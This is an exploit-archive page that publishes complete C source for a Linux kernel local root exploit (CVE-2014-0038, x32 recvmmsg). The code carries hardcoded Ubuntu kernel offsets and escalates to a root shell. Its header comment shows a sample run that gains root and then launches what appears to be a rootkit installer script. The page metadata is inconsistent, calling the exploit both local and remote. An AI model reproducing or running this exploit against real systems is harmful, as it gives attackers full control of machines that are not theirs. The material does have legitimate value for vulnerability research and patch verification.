Linux 3.4+ CONFIG_X86_X32=y local root exploit

2014-02-02 / 2014-02-03
Credit: rebel
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 6.9/10
Impact Subscore: 10/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

/* *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) CVE-2014-0038 / x32 ABI with recvmmsg by rebel @ irc.smashthestack.org ----------------------------------- takes about 13 minutes to run because timeout->tv_sec is decremented once per second and 0xff*3 is 765. some things you could do while waiting: * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times * read https://wiki.ubuntu.com/Security/Features and smirk a few times * brew some coffee * stare at the countdown giggly with anticipation could probably whack the high bits of some pointer with nanoseconds, but that would require a bunch of nulls before the pointer and then reading an oops from dmesg which isn't that elegant. &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes hardcoded offsets because I only saw this on ubuntu & kallsyms is protected anyway.. same principle will work on 32bit but I didn't really find any major distros shipping with CONFIG_X86_X32=y user@ubuntu:~$ uname -a Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg user@ubuntu:~$ ./recvmmsg byte 3 / 3.. ~0 secs left. w00p w00p! # id uid=0(root) gid=0(root) groups=0(root) # sh phalanx-2.6b-x86_64.sh unpacking.. :)= greets to my homeboys kaliman, beist, capsl & all of #social Sat Feb 1 22:15:19 CET 2014 % rebel % *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/utsname.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define VLEN 1 #define BUFSIZE 200 int port; struct offset { char *kernel_version; unsigned long dest; // net_sysctl_root + 96 unsigned long original_value; // net_ctl_permissions unsigned long prepare_kernel_cred; unsigned long commit_creds; }; struct offset offsets[] = { {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 {NULL,0,0,0,0} }; void udp(int b) { int sockfd; struct sockaddr_in servaddr,cliaddr; int s = 0xff+1; if(fork() == 0) { while(s > 0) { fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s)); sleep(1); s--; fprintf(stderr,"."); } sockfd = socket(AF_INET,SOCK_DGRAM,0); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); servaddr.sin_port=htons(port); sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); exit(0); } } void trigger() { open("/proc/sys/net/core/somaxconn",O_RDONLY); if(getuid() != 0) { fprintf(stderr,"not root, ya blew it!\n"); exit(-1); } fprintf(stderr,"w00p w00p!\n"); system("/bin/sh -i"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; // thx bliss static int __attribute__((regparm(3))) getroot(void *head, void * table) { commit_creds(prepare_kernel_cred(0)); return -1; } void __attribute__((regparm(3))) trampoline() { asm("mov $getroot, %rax; call *%rax;"); } int main(void) { int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char buf[BUFSIZE]; long mmapped; struct utsname u; struct offset *off = NULL; uname(&u); for(i=0;offsets[i].kernel_version != NULL;i++) { if(!strcmp(offsets[i].kernel_version,u.release)) { off = &offsets[i]; break; } } if(!off) { fprintf(stderr,"no offsets for this kernel version..\n"); exit(-1); } mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); mmapped &= 0x000000ffffffffff; srand(time(NULL)); port = (rand() % 30000)+1500; commit_creds = (_commit_creds)off->commit_creds; prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(mmapped == -1) { perror("mmap()"); exit(-1); } memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { perror("mprotect()"); exit(-1); } sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(-1); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(-1); } memset(msgs, 0, sizeof(msgs)); iovecs[0].iov_base = &buf; iovecs[0].iov_len = BUFSIZE; msgs[0].msg_hdr.msg_iov = &iovecs[0]; msgs[0].msg_hdr.msg_iovlen = 1; for(i=0;i < 3 ;i++) { udp(i); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); if(!retval) { fprintf(stderr,"\nrecvmmsg() failed\n"); } } close(sockfd); fprintf(stderr,"\n"); trigger(); }

References:

https://cxsecurity.com/issue/WLB-2014010225


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